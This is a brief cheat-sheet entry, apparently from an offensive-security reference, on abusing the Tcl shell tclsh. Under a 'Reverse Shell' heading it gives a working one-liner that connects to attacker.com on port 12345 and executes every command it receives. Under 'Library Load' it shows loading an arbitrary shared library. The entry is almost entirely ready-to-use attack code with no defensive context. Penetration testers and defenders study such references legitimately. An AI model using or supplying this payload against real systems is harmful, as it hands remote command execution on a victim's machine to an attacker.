tclsh

Library Load

tclsh
load /path/to/lib.so x

Reverse Shell

tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;

Shell

tclsh